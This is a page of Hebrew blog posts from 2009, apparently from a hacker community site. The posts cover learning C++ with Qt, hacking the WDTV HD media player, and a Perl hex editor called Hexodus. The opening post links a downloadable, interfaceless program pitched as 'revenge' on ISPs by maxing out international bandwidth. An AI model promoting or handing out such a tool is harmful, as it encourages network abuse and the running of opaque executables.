אולי מגיע לנו, אם אנחנו משלמים על משהו שאנחנו לא מקבלים ולא הולכים להלחם על זה. כל שקל שאנחנו נותנים הופך לעוד שקל שמשתמשים בו בשביל שלא נקבל את מה שאנחנו משלמים עליו במקור.
—
תוספת קטנה מפי D:
נמאס לכם מזה ?
עכשיו אפשר לנקום ! זה כנראה לא ישפר לכם את האינטרנט אבל הספקיות מאוד לא אוהבות שמשתמשים להם בהרבה רוחב פס לחו"ל.
עכשיו יש תוכנה שעושה בדיוק את זה ! התוכנה תנצל 100% אחוז מרוחב הפס שלכם. וכרגע הפסקיות לא חוסמות אותה.
התוכנה חסרת ממשק. מיד עם הרצתה יפתח חלון עם טקסט חסר משמעות.
שימו לב התוכנה כרגע בגרסא 0.02.
לינק להורדה: http://web.nix.co.il/download/downloader.rar (מי שלא מצליח להוריד על 600 או על המהירות המלאה שלו כנראה שלא יודע שדופקים אותו).
משהו חדש ללמוד
מאת PHANTOm בתאריך 08/11/09, תחת כללי
כולם פה אני מניח יודעים שפה או שתיים, אולי PHP אולי #C, אולי Python, Perl, Visual Basic. אבל למי מייתנו שילך ללמוד באקדמיה (אמיתית או מכללה) יגיע יום ויצתרך להתמודד עם ++C. יש הרבה מדריכים על השפה עצמה (יותר מידי), אבל מניסיון, הכי מהר ללמוד משהו כשמתמודדים עם פרוייקט אמיתי ביום יום. בגלל שקשה לי להאמין שמישהו צריך תוכנת קונסול שתעשה חשבון פשוט, אני ממליץ על להתחיל עם Qt.
למה?
- לא צריך Visual Studio בכלל. מורידים את העורך Qt Creator (חלק מהחבילה הגדולה) ואפשר להתחיל לבנות ולדבג. לא צריך שום דבר נוסף כדי שהכל יעבוד.
- דברים מאוד לא טריויאליים כמו UI יפה לוקחים שם כמה שניות גם לאנשים שלא מבינים לגמרי איך הדברים עובדים.
- אין רגשות אשם, כל הקודים יתקמפלו כמו שהם גם בלינוקס או מאק.
אבל זה לא באמת ++C… לפחות יש חלקים שקצת לא דומים לתקן, וזה גם טוב וגם רע. זה טוב למי שלא התרגל לשפה עדיין ויכול ללמוד דברים חדשים. החבילות של Qt מאוד עקביות ושימושיות, ה Debuger מציג את המשתנים בזמן אמת בצורה לוגית ולא כמו שהם שמורים בזכרון באמת, למשל רשימה מציגה איברים ולא פוינטרים שרצים לאין ספור כיוונים.
לי היה הרבה יותר קל לחזור ל ++C אחרי שהיה לי את התרגול של Qt ובניתי פרוייקט שאני אפרסם כאן בקרוב.
היה לי מאוד קל לעצב UI שנראה לא רע בכלל, ככה, למשל, נראה העורך:

מי שזה מעניין אותו מוזמן להוריד את כל הכלים באתר qt.nokia.com וגם מוזמן לצפות שם במאות סרטוני ההדרכה (והפרופוגנדה).
WDTV HD Media Player
מאת Fate בתאריך 18/09/09, תחת כללי
מבוא
לאחרונה אולי שמתם לב, אולי לא, אני נמשך יותר לחומרה והאקינג שלה.
בין אם זה OpenMoko, או הנתב של Edimax, או במקרה הזה נגן המדיה של Western Digital.
כן כן, של Western Digital, יצרנית כוננים קשיחים…
לאחרונה ניתקלתי בצורך לנגן וידאו HD, בצורה הכי זולה שיש, בלי להזיז כל פעם את המחשב הנייד אם אני רוצה לראות סרט במסך גדול.
בפוסט זה אני אציג כמה אפשרויות ששקלתי, ולמה ביטלתי כל אחת מהן, למה בחרתי בסוף בנגן של WD, כמה שהדבר הקטן הזה מגניב ,מה אפשר לעשות איתו (מעבר למה שWD תכננו כמובן).
אפשרויות חומרה
- מחשב HTPC שאני מרכיב בעצמי
אפשר להרכיב מחשב במארז קטן שנראה כמו מארז של מכשיר Media Center כזה, ולהרכיב אותו ככה שיוכל לנגן HD.
מבדיקה שאני עשיתי מחשב כזה עולה בסביבות ה1600-2000 שקל מינימום, והוא עם מאווררים על המארז, ולא בטוח עד כמה הוא מסוגל לנגן HD מלא באמת.
- XBox 360
מסוגל לנגן HD, תומך בהרבה פורמטים, יש לו ממשק מוכן למדיה סנטר, עולה גם אותו דבר כמו המחשב.. בערך 1600 שקל.
וגם מקבלים את הערך המוסף של משחקים על הטלוויזיה.
החסרון הוא כל הנעילות שמיקרוסופט עשו לו, ולך תדע מתי הם יחסמו אותך אם תשתמש במשחקים פרוצים.
- PS3
כמו XBox עולה קצת יותר (1800 ש"ח), וכרגע לא נראה לי שיש פריצה בשביל המשחקים שלו, אז משחקים מקוריים עולים הרבה.
לפי מה שקראתי הדבר הזה מפלצתי ומתחממם מהר, אבל מה, יש לו כונן Blu Ray, זה טוב לסרטים.
- WDTV HD Media Player
כשראיתי את הדבר הזה לא האמנתי שהוא מנגן HD, אבל מסתבר שהוא כן.
הוא ממש קטן, ללא מאוורר, מעוצב בצורה טובה, וממלא את המטרה היחידה שלו בחיים, לנגן HD מתוך USB Mass Storage Device.
הדבר הזה פותח עולמות חדשים, עולם של להביא את הנגן שלך לחברים שלך יחד עם סרטים.
אתה לא תסחב עם מחשב או XBox או PS3, אבל את הדבר הזה יותר פשוט לקחת מכונן קשיח חיצוני 3.5 אינצ', הוא יותר קטן ממנו.
למה WDTV
הוא זול, 650 ש"ח ויש לך את הדבר הזה מוכן ומזומן להריץ לשדר דברים מעל HDMI.
יש לו יציאת Composite למקרה ולמישהו אין HDMI.
יש לו יציאה אופטית לAudio, מה שפותח את האפשרויות של קולנוע ביתי.
הוא מריץ לינוקס, על מעבד שעובד על MIPS.
עולם האפשרויות
הפעם אני לא הראשון שעושה לזה האקינג, וכל העולם כבר כותב לזה Modים וFirmware משודרג.
אפשר למצוא הרבה מאד דברים כאן: http://www.wdtvforum.com
עכשיו שאמרנו שזה מריץ לינוקס בואו נעבור על כמה רעיונות שאפשר לעשות איתו.
- לחבר כרטיס רשת לUSB
ניגון מכונן רישתי, סטרימינג מהמחשב, הורדת דברים ישירות אליו, Youtube, Trailers, Bittorrent, וכו'
- לחבר כרטיס רשת אלחוטי
אומנם יותר בעייתי לעשות סטרימינג מעל אלחוטי, אבל לשלוט עליו ולהעביר אליו דברים מהמחשב בצורה פסיבית, זה מצויין.
- לחבר USB Hub
ואז 2 הפורטים המסכנים יהפכו להרבה יותר, והרבה יותר מקום לחבר אליו אחסון.
- מקלדת עכבר וDebian
מי שלא יודע יש Debian על כל חבילותיו לMIPSEL, אז אפשר כנראה להתקין את זה עליו ופשוט יש לך מחשב חזק עם לינוקס שמסוגל לנגן HD.
תחבר אליו מקלדת אלחוטית, עכבר אלחוטי, ויש לך מחשב סלוני עם מסך ענק.
לסיום
בערך חצי מהסיבה שבחרתי במכשיר זה בגלל שהוא מריץ לינוקס, ויהיה כיף להתעסק איתו אחרי זה, לראות את הקהילה שלו מפתחת לו דברים, ואולי לתת יד בעצמי ולהוסיף דברים מעניינים למכשיר.
מקווה שלא שיעממתי אותכם יותר מדי,
תגיבו אם יש משהו מעניין שתרצו להגיד.
Hexodus v0.4
מאת Exodus בתאריך 26/08/09, תחת כללי
מהו Hexodus:
הקסודוס הוא פרוייקט יחסית ישן שנכתב לפני כשנה וחצי וזהו בעצם Hex Editor
שנכתב בשפת פרל ותוכנן בשלבים מתקדמים יותר להפוך ל-Disassmebler עם תמיכה
בקבצי ELF אך קיום קיימת רק תמיכה לקבצי PE(מבחינת ההדר של הקובץ)
עם זאת הקסודוס נכתב בצורה שקל להוסיף לו פונקציונליות מכוון שכל פקודה ב-shell היא בעצם
פונקציה אשר נקראת ע"י הפונקציה הראשית(main()) .
פונקציונאליות:
טעינת קובץ:
C:\Code\perl\Hexodus-v0.4>Hexodus-v0.4.pl demo.exe
>Loading the file demo.exe
<
קבלת מידע אודות פקודות:
help<
Hexodus v0.4, type 'help <command>' for command specifications
list help reload exit exec
edit load undo clear find
save info redo converto history
<
הדגמת פקודות ליסטינג, עריכה וחיפוש:
>list CBD0 48
0000CBD0: 43 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 C…….☺…….
0000CBE0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
0000CBF0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
0000CC00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
>edit CBD0 CD 21
> bytes C replaced with ═!
>list CBD0 48
0000CBD0: CD 21 00 00 00 00 00 00 01 00 00 00 00 00 00 00 ═!……☺…….
0000CBE0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
0000CBF0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
0000CC00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
>find CD 21
00000047: CD 21 B8 01 4C CD 21 54 68 69 73 20 70 72 6F 67 ═!╕☺L═!This prog
0000004C: CD 21 54 68 69 73 20 70 72 6F 67 72 61 6D 20 63 ═!This program c
0000CBD0: CD 21 00 00 00 00 00 00 01 00 00 00 00 00 00 00
כשיהיה לי קצת יותר זמן אני מתכנן:
- לשכתב אותו כ- Object Oriented
- להוסיף אופציה להפעלה עם ממשק גרפי Tk
- להוסיף תמיכה להדר של ELF
בכל אופן עד אז את קוד המקור של הקסודוס ניתן להוריד מכאן: http://www.blackhat.org.il/Hexodus-v0.4.zip



